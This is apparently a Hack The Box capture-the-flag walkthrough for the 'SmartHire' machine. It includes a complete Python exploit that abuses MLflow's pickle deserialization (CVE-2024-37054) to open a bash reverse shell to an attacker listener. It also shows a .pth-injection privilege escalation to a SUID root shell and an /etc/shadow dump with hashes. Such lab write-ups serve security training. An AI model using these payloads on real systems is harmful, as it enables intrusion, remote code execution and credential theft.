Overview
- Type Machines
- Direct https://app.hackthebox.com/machines/SmartHire
- OS Linux
- Severity Medium
- Creator redtrib3
- Release date 2026 May 17 (JST)
Attack Paths
admin [MLflow Basic Auth] (weak credentials admin:password, models.smarthire.htb)
└─ admin [MLflow pyfunc RCE] (CVE-2024-37054, cloudpickle payload)
│
└─ svcweb [Trigger /predict endpoint] (smarthire.htb/predict) ← Initial access
│
└─ svcweb [Read user.txt] ← USER flag
└─ svcweb [sudo -l → NOPASSWD] (python3.10 mlflowctl.py)
│
└─ devs [Writable plugin directory] (/opt/tools/mlflow_ctl/plugins/dev)
└─ root [Python .pth injection] (site.addsitedir, rootme.pth)
│
└─ root [SUID bash execution] (/tmp/rootbash -p) ← ROOT flag
Enumeration
Nmap
$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.129.xxx.xxx
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-17 07:58 +0900
Nmap scan report for 10.129.xxx.xxx
Host is up (0.46s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
|_ 256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://smarthire.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add to /etc/hosts: echo ‘10.129.xxx.xxx smarthire.htb’ | sudo tee -a /etc/hosts
Vhost discovery
$ gobuster vhost -u http://smarthire.htb -t 50 -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt --append-domain --exclude-status 301
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://smarthire.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 19680 / 3000001 (0.66%)[ERROR] error on word thompsoncigar: timeout occurred during the request
models.smarthire.htb Status: 401 [Size: 137]
...
Add
models.smarthire.htbto /etc/hosts
Directory discovery
$ feroxbuster -u http://smarthire.htb/ -t 50 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -d 1 -C 404 -C 412 -C 500
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://smarthire.htb/
🚩 In-Scope Url │ smarthire.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
💢 Status Code Filters │ [404, 412, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 1
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 131l 434w 6499c http://smarthire.htb/register
302 GET 5l 22w 199c http://smarthire.htb/logout => http://smarthire.htb/login
200 GET 127l 406w 6160c http://smarthire.htb/login
200 GET 93l 540w 36701c http://smarthire.htb/static/images/unsplash_robohuman.jpeg
200 GET 187l 1144w 86196c http://smarthire.htb/static/images/unsplash_analytics.jpeg
200 GET 314l 1901w 141610c http://smarthire.htb/static/images/unsplash_team.jpeg
200 GET 83l 9103w 407279c http://smarthire.htb/static/js/tailwind.js
200 GET 215l 875w 11255c http://smarthire.htb/
302 GET 5l 22w 199c http://smarthire.htb/dashboard => http://smarthire.htb/login
302 GET 5l 22w 199c http://smarthire.htb/predict => http://smarthire.htb/login
[####################] - 4m 38277/38277 0s found:10 errors:0
[####################] - 4m 38268/38268 175/s http://smarthire.htb/
Nothing is interesting.
$ feroxbuster -u http://models.smarthire.htb/ -t 50 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -d 1 -C 404 -C 412 -C 500
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://models.smarthire.htb/
🚩 In-Scope Url │ models.smarthire.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
💢 Status Code Filters │ [404, 412, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 1
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
401 GET 1l 11w 137c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1l 1w 2c http://models.smarthire.htb/health
[####################] - 4m 38268/38268 0s found:1 errors:0
[####################] - 4m 38268/38268 180/s http://models.smarthire.htb/
Just found
http://models.smarthire.htb/healthas all others asked for authentication.
MLflow - Basic credentials authenticating (80/tcp)
Just try basic admin:passowrd then we can authenticate:


mlflow v2.14.1
CVE-2024-37054 - MLflow RCE via Deserialization of Untrusted Data (svcweb) (user)
A deserialization vulnerability exists in the mlflow.pyfunc.load_model function. An attacker can craft a malicious model containing a pickled payload. When a victim loads this model, the payload is deserialized via cloudpickle.load, leading to arbitrary code execution on the victim’s machine.
Products Impacted: MLflow versions from 0.9.0 up to, but not including, 2.14.2
Let’s check with a quick test.
Create a new user user:qwerty123!:

Sigin:

Check the CSV format to follow the same rules to craft our own:

Example CSV:
name,skills,experience,education,position_applied,previous_company
John Smith,"Python, Machine Learning, SQL",60,Master's in CS,Data Scientist,TechCorp
Create our CSV:
$ cat train.csv
name,skills,experience,education,position_applied,previous_company
John Smith,"Python, Machine Learning, SQL",60,Master's in CS,Data Scientist,TechCorp
Sarah Johnson,"JavaScript, React, Node.js",36,Bachelor's in SE,Full Stack Dev,StartupXYZ
Mike Brown,"Java, Spring Boot, PostgreSQL",84,Bachelor's in IT,Backend Developer,Enterprise Inc
Train legitimate model:


The app creates a registered model with versioning:

Edit the run:

Then we can found the created artifacts:

The MLflow web UI is designed for viewing, comparing, and registering models, rather than uploading arbitrary model files directly into the UI.
To “upload” or log a custom pyfunc model artifact, you must use the Python tracking client (mlflow.pyfunc) in our development environment to log or save the model to our tracking server.
We will switch then to Python3 only to craft our malicious pyfunc model artifact, register it as the next version of the app’s model, then trigger /predict with any resume CSV so the app loads it.
$ cat exploit.py
#!/usr/bin/env python3
import argparse
import base64
import http.cookiejar
import json
import random
import string
import urllib.error
import urllib.parse
import urllib.request
def randstr(n=8):
return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))
class Client:
def __init__(self):
self.jar = http.cookiejar.CookieJar()
self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.jar))
def request(self, method, url, data=None, headers=None, basic=None, timeout=30):
headers = dict(headers or {})
if basic:
token = base64.b64encode(f"{basic[0]}:{basic[1]}".encode()).decode()
headers["Authorization"] = f"Basic {token}"
req = urllib.request.Request(url, data=data, headers=headers, method=method)
try:
with self.opener.open(req, timeout=timeout) as res:
return res.status, res.read(), dict(res.headers)
except urllib.error.HTTPError as e:
return e.code, e.read(), dict(e.headers)
def form_body(fields):
return urllib.parse.urlencode(fields).encode()
def multipart_body(field, filename, content, ctype="application/octet-stream"):
boundary = "----smarthire" + randstr(16)
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="{field}"; filename="{filename}"\r\n'
f"Content-Type: {ctype}\r\n\r\n"
).encode() + content + f"\r\n--{boundary}--\r\n".encode()
return body, {"Content-Type": f"multipart/form-data; boundary={boundary}"}
def json_req(client, method, url, obj=None, basic=None):
data = None if obj is None else json.dumps(obj).encode()
headers = {"Content-Type": "application/json"} if obj is not None else {}
code, body, _ = client.request(method, url, data=data, headers=headers, basic=basic)
if code >= 400:
raise SystemExit(f"[-] {method} {url} -> HTTP {code}: {body[:300].decode(errors='ignore')}")
return json.loads(body.decode() or "{}")
def upload_artifact(client, models, auth, run_id, path, content):
url = f"{models}/api/2.0/mlflow-artifacts/artifacts/0/{run_id}/artifacts/{path}"
code, body, _ = client.request("PUT", url, data=content, basic=auth)
if code >= 400:
raise SystemExit(f"[-] artifact upload {path} -> HTTP {code}: {body[:300].decode(errors='ignore')}")
def main():
p = argparse.ArgumentParser(description="SmartHire MLflow pyfunc reverse-shell PoC")
p.add_argument("--app", default="http://smarthire.htb")
p.add_argument("--models", default="http://models.smarthire.htb")
p.add_argument("--lhost", required=True)
p.add_argument("--lport", required=True)
p.add_argument("--username", default="rpwn_user")
p.add_argument("--password", default="rpwn_pass")
p.add_argument("--company", default="RPWN_Corp")
p.add_argument("--mlflow-user", default="admin")
p.add_argument("--mlflow-pass", default="password")
args = p.parse_args()
app = args.app.rstrip("/")
models = args.models.rstrip("/")
auth = (args.mlflow_user, args.mlflow_pass)
c = Client()
print("[*] Register/login SmartHire user")
c.request(
"POST",
f"{app}/register",
data=form_body({"username": args.username, "company": args.company, "password": args.password}),
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
code, body, _ = c.request(
"POST",
f"{app}/login",
data=form_body({"username": args.username, "password": args.password}),
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
if code not in (200, 302):
raise SystemExit(f"[-] login failed: HTTP {code}")
print("[*] Train legitimate model so the app creates a registered model")
train_csv = (
b"name,skills,experience,education,position_applied,previous_company\n"
b'John Smith,"Python, Machine Learning, SQL",60,Masters,Data Scientist,TechCorp\n'
b'Sarah Johnson,"JavaScript, React, Node.js",36,Bachelors,Full Stack Dev,StartupXYZ\n'
b'Mike Brown,"Java, Spring Boot, PostgreSQL",84,Bachelors,Backend Developer,Enterprise Inc\n'
)
body, headers = multipart_body("file", "train.csv", train_csv, "text/csv")
c.request("POST", f"{app}/upload_hiring_data", data=body, headers=headers, timeout=70)
info = json_req(c, "GET", f"{app}/model_info")
model_name = info.get("model_name")
if not model_name:
raise SystemExit(f"[-] could not get model_name: {info}")
print(f"[+] App model name: {model_name}")
print("[*] Create MLflow run and upload malicious pyfunc artifact")
run = json_req(c, "POST", f"{models}/api/2.0/mlflow/runs/create", {"experiment_id": "0"}, basic=auth)
run_id = run["run"]["info"]["run_id"]
print(f"[+] MLflow run_id: {run_id}")
cmd = f'bash -c "bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"'
pickle_payload = f"cposix\nsystem\n(S'{cmd}'\ntR.\n".encode()
mlmodel = f"""artifact_path: model
flavors:
python_function:
cloudpickle_version: 3.1.1
code: null
env:
conda: conda.yaml
virtualenv: python_env.yaml
loader_module: mlflow.pyfunc.model
python_model: python_model.pkl
python_version: 3.10.12
streamable: false
mlflow_version: 2.14.1
model_size_bytes: {len(pickle_payload)}
model_uuid: {randstr(32)}
run_id: {run_id}
utc_time_created: '2026-05-16 19:00:00.000000'
""".encode()
files = {
"model/MLmodel": mlmodel,
"model/python_model.pkl": pickle_payload,
"model/conda.yaml": b"channels:\n- conda-forge\ndependencies:\n- python=3.10.12\nname: mlflow-env\n",
"model/python_env.yaml": b"python: 3.10.12\nbuild_dependencies: []\ndependencies: []\n",
"model/requirements.txt": b"mlflow==2.14.1\ncloudpickle==3.1.1\n",
}
for path, content in files.items():
upload_artifact(c, models, auth, run_id, path, content)
print("[*] Register malicious model version and promote it to Production")
mv = json_req(
c,
"POST",
f"{models}/api/2.0/mlflow/model-versions/create",
{"name": model_name, "source": f"mlflow-artifacts:/0/{run_id}/artifacts/model", "run_id": run_id},
basic=auth,
)
version = mv["model_version"]["version"]
json_req(
c,
"POST",
f"{models}/api/2.0/mlflow/model-versions/transition-stage",
{"name": model_name, "version": version, "stage": "Production", "archive_existing_versions": True},
basic=auth,
)
print(f"[+] Malicious model version: {version}")
print("[*] Trigger /predict. Catch shell on your listener.")
resume_csv = b"experience,skills\n60,\"Python, Machine Learning, SQL\"\n"
body, headers = multipart_body("file", "resume.csv", resume_csv, "text/csv")
c.request("POST", f"{app}/predict", data=body, headers=headers, timeout=10)
print("[+] Trigger sent")
if __name__ == "__main__":
main()
Set a penelope listener:
$ penelope -i tun0 -p 443
[+] Listening for reverse shells on 10.10.16.10:443
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
Execute our exploit:
$ python3 exploit.py --lhost 10.10.16.10 --lport 443
[*] Register/login SmartHire user
[*] Train legitimate model so the app creates a registered model
[+] App model name: RPWN_Corp-c1e06019fe89-model
[*] Create MLflow run and upload malicious pyfunc artifact
[+] MLflow run_id: 950fddc408b04d72ab48b91058c757d6
[*] Register malicious model version and promote it to Production
[+] Malicious model version: 2
[*] Trigger /predict. Catch shell on your listener.
We got our shell as svcweb:
[+] [New Reverse Shell] => smarthire 10.129.xxx.xxx Linux-x86_64 👤 svcweb(1000) 😍 Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
[+] Interacting with session [1] • PTY • Menu key F12 ⇐
[+] Session log: /home/obak3/.penelope/sessions/smarthire~10.129.xxx.xxx-Linux-x86_64/2026_05_17-12_20_52-419.log
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
svcweb@smarthire:/var/www/smarthire.htb$
Then grab the user flag:
svcweb@smarthire:/var/www/smarthire.htb$ cd /home/svcweb/
svcweb@smarthire:~$ ls
user.txt
svcweb@smarthire:~$ cat user.txt
<REDACTED>
We can double check in the WebUI:
New model:

Version 1 then Version 2:


Artifacts of the new run:

Privilege escalation (root)
Check the SUDO privileges:
svcweb@smarthire:~$ sudo -l
Matching Defaults entries for svcweb on smarthire:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
svcweb@smarthire:~$ cat /opt/tools/mlflow_ctl/mlflowctl.py
#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
For changes or plugin requests, please contact the Platform Team.
"""
from pathlib import Path
import sys
import site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
# make plugins importable
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path))
def print_usage():
print("Usage: mlflowctl.py [status|backup-models|restart]")
sys.exit(1)
def main():
import mlflow_actions, backup_models
if len(sys.argv) < 2:
print_usage()
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
elif action == "backup-models":
print("[*] Running backup via backup_models plugin...")
backup_models.run()
elif action == "restart":
mlflow_actions.restart()
else:
print(f"[!] Unknown action: {action}")
print_usage()
if __name__ == "__main__": main()
mlflowctl.pycallssite.addsitedir()onpluginsdirectories.
Check the permissions on plugins folder and sub-folders:
svcweb@smarthire:~$ ls -laR /opt/tools/mlflow_ctl/plugins
/opt/tools/mlflow_ctl/plugins:
total 16
drwxr-xr-x 4 root root 4096 Feb 19 18:10 .
drwxr-xr-x 3 root root 4096 Feb 19 18:16 ..
drwxr-xr-x 3 root root 4096 Feb 20 09:26 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev
/opt/tools/mlflow_ctl/plugins/core:
total 20
drwxr-xr-x 3 root root 4096 Feb 20 09:26 .
drwxr-xr-x 4 root root 4096 Feb 19 18:10 ..
-rw-r--r-- 1 root root 1474 Feb 19 16:49 backup_models.py
-rw-r--r-- 1 root root 1492 Feb 19 17:45 mlflow_actions.py
drwxr-xr-x 2 root root 4096 Feb 20 09:26 __pycache__
/opt/tools/mlflow_ctl/plugins/core/__pycache__:
total 16
drwxr-xr-x 2 root root 4096 Feb 20 09:26 .
drwxr-xr-x 3 root root 4096 Feb 20 09:26 ..
-rw-r--r-- 1 root root 1536 Feb 20 09:26 backup_models.cpython-310.pyc
-rw-r--r-- 1 root root 1647 Feb 20 09:26 mlflow_actions.cpython-310.pyc
/opt/tools/mlflow_ctl/plugins/dev:
total 8
drwxrwxr-x 2 root devs 4096 May 12 15:22 .
drwxr-xr-x 4 root root 4096 Feb 19 18:10 ..
svcweb@smarthire:~$ getent group devs
devs:x:1002:svcweb
/opt/tools/mlflow_ctl/plugins/devis writable by groupdevsthen, assvcwebis indevsgroup then he can write too.
Easy to exploit:
- Add
pwn.pthwith Python import line to copy/bin/bashto/tmp/rootbashandchmod 4755for SUID. - Run
sudo -n /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py statusto execute it.
svcweb@smarthire:~$ printf 'import os; os.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")\n' > /opt/tools/mlflow_ctl/plugins/dev/rootme.pth
svcweb@smarthire:~$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
[*] Checking MLflow service status...
[+] MLflow service status: active
[+] MLflow container status: 'Up 3 hours'
Then grab the root flag and all hashes:
svcweb@smarthire:~$ /tmp/rootbash -p -c 'id; cat /root/root.txt; cat /etc/shadow'
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)
<REDACTED>
root:$y$j9T$aK2bbvaNoSx6f5u9MgO04.$hFnfmmpEYPf0TrFuI52M5e2F83LYJqobGDjrXNSg9J5:20348:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
syslog:*:19977:0:99999:7:::
uuidd:*:19977:0:99999:7:::
tss:*:19977:0:99999:7:::
landscape:*:19977:0:99999:7:::
fwupd-refresh:*:19977:0:99999:7:::
usbmux:*:20346:0:99999:7:::
sshd:*:20346:0:99999:7:::
svcweb:$y$j9T$fleWyJl1srX0/kg26RHIb1$7.FBUP51Ia1DO0hvUWPzqDv5Sb5.c12DliEZtdAzM27:20348:0:99999:7:::
lxd:!:20346::::::
dnsmasq:*:20347:0:99999:7:::
_laurel:!:20586::::::
